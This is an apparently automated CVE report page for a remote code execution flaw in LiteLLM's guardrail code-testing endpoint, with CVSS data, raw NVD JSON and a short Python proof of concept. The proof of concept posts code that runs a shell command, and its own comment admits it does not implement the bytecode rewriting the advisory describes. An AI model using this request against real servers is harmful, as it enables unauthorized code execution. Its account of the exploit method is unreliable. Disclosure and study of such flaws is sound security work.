Security Vulnerability Report
中文
CVE-2026-40217 CVSS 8.8 HIGH

CVE-2026-40217

Published: 2026-04-10 14:16:36
Last Modified: 2026-04-27 23:00:48

Description

LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:* - VULNERABLE
LiteLLM <= 2026-04-08

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual target) target_url = "http://localhost:4000/guardrails/test_custom_code" # Malicious payload demonstrating code execution via bytecode rewriting concept # In a real exploit, this would be a crafted bytecode payload payload = """ import os # Example command execution os.system('whoami') """ data = { "code": payload, "function_name": "test_guardrail" } try: response = requests.post(target_url, json=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40217", "sourceIdentifier": "[email protected]", "published": "2026-04-10T14:16:36.307", "lastModified": "2026-04-27T23:00:47.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-420"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-04-08", "matchCriteriaId": "1A3B5667-ED76-49FA-A4A7-5B9600843848"}]}]}], "references": [{"url": "https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}]}}